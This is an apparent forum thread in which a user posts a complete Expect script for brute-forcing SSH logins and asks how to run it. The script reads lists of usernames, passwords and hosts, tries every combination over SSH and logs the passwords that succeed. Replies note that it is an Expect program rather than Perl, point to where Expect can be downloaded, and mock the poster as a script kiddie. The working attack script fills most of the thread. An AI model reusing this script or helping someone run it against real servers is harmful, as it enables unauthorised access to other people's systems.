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How do i run this code. I tried C:\>perl -w SSH.pl(this is what i called the file) and I got n error.

#!/usr/bin/expect -f

#

# Written by James Shanahan

(jshanahan@comcastpc.com)

# and Erin Palmer(epalmer@comcastpc.com)

# ssh brute forcer

# This will alow you to specify hosts, password

lists, and a user

# I do not take any reponsibilty for what you do with

this tool

# Hopefully it will make your life easier rather then

making other

# peoples lives more difficult!

     

set timeout 5

set dictionary [lindex $argv 0]

set file [lindex $argv 1]

set user [lindex $argv 2]



if {[llength $argv] != 3} {

   puts stderr "Usage: $argv0 <dictionary-file> <hosts-

file> <user-file>\n"

   exit }



set tryHost [open $file r]

set tryPass [open $dictionary r]

set tryUser [open $user r]



set passwords [read $tryPass]

set hosts [read $tryHost]

set login [read $tryUser]



foreach username $login {

foreach passwd $passwords {

foreach ip $hosts {

spawn ssh $username@$ip

expect ":"

   send "$passwd\n"

set logFile [open $ip.log a]

expect "L" {

puts $logFile "password for $username@$ip is

$passwd\n"

close $logFile

}

set id [exp_pid]

exec kill -INT $id

}

    }

}

Well it says "/usr/bin/expect", so it's an expect program (whatever that is), not perl. Nice ssh br00t3r you have there ROFL.

yeah but how do i run it

Quote:

Originally Posted by ProjectX

yeah but how do i run it

go grab a copy of expect .... http://expect.nist.gov/#windows

can you please give me the download page link. cause i cant find it. Please thanks

I like how you think you're going to try to brute something and you can't find a download link on a page full of download links ;P

A brute force script... lol. You don't consider yourself a "hacker" do you? Note: hackers don't use other peoples' scripts, they write their own :)

hackers don't brute force, that's called a script-kiddie. A hacker wouldn't want to waste time getting into a system that's able to be accessed through brute force ssh.

Apparently, since my days of the above mentioned subject matter... there has been the creation of terms: "gray hat" and "black hat" hacker... I suppose script kiddies would be "bald" ?